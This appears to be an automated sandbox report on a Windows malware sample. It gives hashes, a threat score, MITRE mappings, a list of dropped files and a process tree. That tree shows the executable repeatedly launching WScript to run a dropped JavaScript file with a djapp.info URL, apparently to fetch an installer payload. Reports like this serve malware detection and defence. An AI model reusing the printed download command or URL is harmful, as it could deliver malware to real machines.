546bded8a129fb0879fbc4ccfa5e6043366c62c7ea99bf3e55eb5461f241543c

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
26/04/2024, 11:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe
Size

184KB
MD5

00a338bcfbbf407449fcf480cd6cbd77
SHA1

2debaeb457a71ea4b78cab554ac12ed6779a5bfc
SHA256

546bded8a129fb0879fbc4ccfa5e6043366c62c7ea99bf3e55eb5461f241543c
SHA512

e578ffbf4e70c8b872acc820d4edd0ffae049ef58e46638cc77799386490810e30a1eef6911f787e2ef95e7cf3a99a9887ead71b9dacee687bfe72b2a83e7547
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Vf:/7BSH8zUB+nGESaaRvoB7FJNndnqf

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2984	WScript.exe
8	2984	WScript.exe
10	2984	WScript.exe
12	2480	WScript.exe
13	2480	WScript.exe
16	1032	WScript.exe
17	1032	WScript.exe
19	2580	WScript.exe
20	2580	WScript.exe
22	2028	WScript.exe
23	2028	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1744	2972	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2984	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	28
PID 2972 wrote to memory of 2984	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	28
PID 2972 wrote to memory of 2984	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	28
PID 2972 wrote to memory of 2984	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	28
PID 2972 wrote to memory of 2480	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	30
PID 2972 wrote to memory of 2480	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	30
PID 2972 wrote to memory of 2480	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	30
PID 2972 wrote to memory of 2480	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	30
PID 2972 wrote to memory of 1032	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	32
PID 2972 wrote to memory of 1032	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	32
PID 2972 wrote to memory of 1032	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	32
PID 2972 wrote to memory of 1032	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	32
PID 2972 wrote to memory of 2580	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	34
PID 2972 wrote to memory of 2580	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	34
PID 2972 wrote to memory of 2580	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	34
PID 2972 wrote to memory of 2580	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	34
PID 2972 wrote to memory of 2028	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	36
PID 2972 wrote to memory of 2028	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	36
PID 2972 wrote to memory of 2028	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	36
PID 2972 wrote to memory of 2028	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	36
PID 2972 wrote to memory of 1744	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	38
PID 2972 wrote to memory of 1744	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	38
PID 2972 wrote to memory of 1744	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	38
PID 2972 wrote to memory of 1744	2972	00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\00a338bcfbbf407449fcf480cd6cbd77_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1297.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf1297.exe
  2⤵
  - Blocklisted process makes network request
  PID:2984
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1297.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf1297.exe
  2⤵
  - Blocklisted process makes network request
  PID:2480
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1297.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf1297.exe
  2⤵
  - Blocklisted process makes network request
  PID:1032
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1297.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf1297.exe
  2⤵
  - Blocklisted process makes network request
  PID:2580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1297.js" http://www.djapp.info/?domain=dkMTjdlZhv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf1297.exe
  2⤵
  - Blocklisted process makes network request
  PID:2028
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 608
  2⤵
  - Program crash
  PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
069d0310ee29b489c012daa53bbb802d

SHA1
4d1a5fa55d576282b7f308cc8c1fe1ad07ffbc2b

SHA256
8dfae75ff4c447e989ab690b07a4eff686c15a190fdcfe10a4b774eacd029a1f

SHA512
941a3257318a76ac1a939a2c64a9a93764a4f745fecab2ae5b9a7481c85f22f115cccc016917f94ff6e8beef62a6ce23b862bc7507bfe6355649f1baac2a0972

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
030d778ef81a3b86ad2dbc2d17740d05

SHA1
612cfb386561e14d34d1ef2ae9db6d1154912e38

SHA256
c5adbcbed15b2f40f32b45108b79c61573967c7be05997bcc4f02d34cbe8cd4f

SHA512
33f810053f51de07553f2738199456dc184ec684e3e4bb2aa66fb62e081a65c863c7f5284f5580d922b5efb11df2b782c92140f24a7b9d1470ff6e965eb83264

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6a540236a8fec4aaf6d44d87081d3bc8

SHA1
cd71d8fcf8f940cdaab478b0ab0ec89648ffb507

SHA256
95898d494b2acfb48d815c28ad9ec39b72dcb37d1a256274962c0043c2c81bc6

SHA512
61bdc5aab8429997d3da60148d934e89093f67b14e8cc1175405d2a1445e210d8c1f103d492eaba5f869eaead13b7900d5aa1531614feba5435c8248df48d928

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
564c5a9fe9ab00c10fa0f96b02988f1a

SHA1
258e9a71b55209dc09321ce5dea5e25d6335be10

SHA256
d743a59f5d139e40fe05dc200c585e2e4e2ef46ca3fae99fd6fa1c3650c12c64

SHA512
269b95eb6bfb761e53b6ef9ad69b2dfbb17f5cbf44d24e2407703af1e5a048b345b3dcf902d4813e3618832f5ffa8c1b73ae3199ece8f2177291512edfc420c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
6KB

MD5
09185f30ad3a5d24e21bf482b03668ef

SHA1
34b899390d75be86a80131d0c0a4f316d2b7432e

SHA256
5601138c6add99f8c03e21609e4d923ffd9e8296f8db85ab10d4a79a853beee1

SHA512
ce2bae958e320cae7c86605a5e8077202ecca3faecc20e2a82377782d9f782b36931b2602e175238b23e21ab90455c92a2d399c24dd4532a9129f60945c3c8f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
40KB

MD5
6fe9831f93262ea564ae14ca7bb925a6

SHA1
b5c35c990c4a7665de66873670cd44c3a1263008

SHA256
4c1593f540546fc713bf078afa2a896266acfd4bbecd373dd3d678e582df3fdd

SHA512
f962f36cccc65e7d7cfa0fd9f7e244ce6aaaf11795c4b8dbe40210bef434e5e927873e69e575317c4d3c608e46af0ec55cba42fc48845bce28db83a255305f48

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
590c76f48893998a3889e9277fa1824c

SHA1
d1dba4f7e376b0c2dba3ce218fd3b99f53ea33a1

SHA256
edd3be9318335782757e60ac2f7cf52cf2868a2503f27ba405aada59ae901228

SHA512
1fe02c1b99e895a10d4bcecc150838017582b5f67194d25bab8137b9578e432fdb2bab345bf3120233ce07802a9acd9c01ef3e11136337664dfc58312b3ab7fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
c8cdb4236235c63849e775da6522d024

SHA1
19cc0d1f027b14ab2d733c0e9f229f0f22ee3f14

SHA256
50ffbf5f22d92dab5cf30c7b30a51f37b6ec770a8e1abb54ea1a21ccd9bf014d

SHA512
f14a90927f21c378e9fa615b2277bc082245203384c33e5cb7bcdfb419eacad115abedd9cc3c8e5fc59ea743e19d752da3b3baf07d3e285a6544dfcce23b2cfc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab422E.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5B2B.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1297.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\UC8BO1KO.txt

Filesize
177B

MD5
94e4a4e7850b654efcac2cdfd97ccd90

SHA1
6b3968e72ab13e6e53e214db4340d417b13be077

SHA256
15c9d2c66fb61953d2b72e39ce823dc01441b3aaa404457a940a80f300ecc914

SHA512
54fce0437e3ca8f7b228e26fda438a20e2255486b7a3c50c6b381b16ade26fc9cd592f3683481124578ffec53a26137ed32e174d3ec3c3f92e24d43a1b2de9f3

Download Submit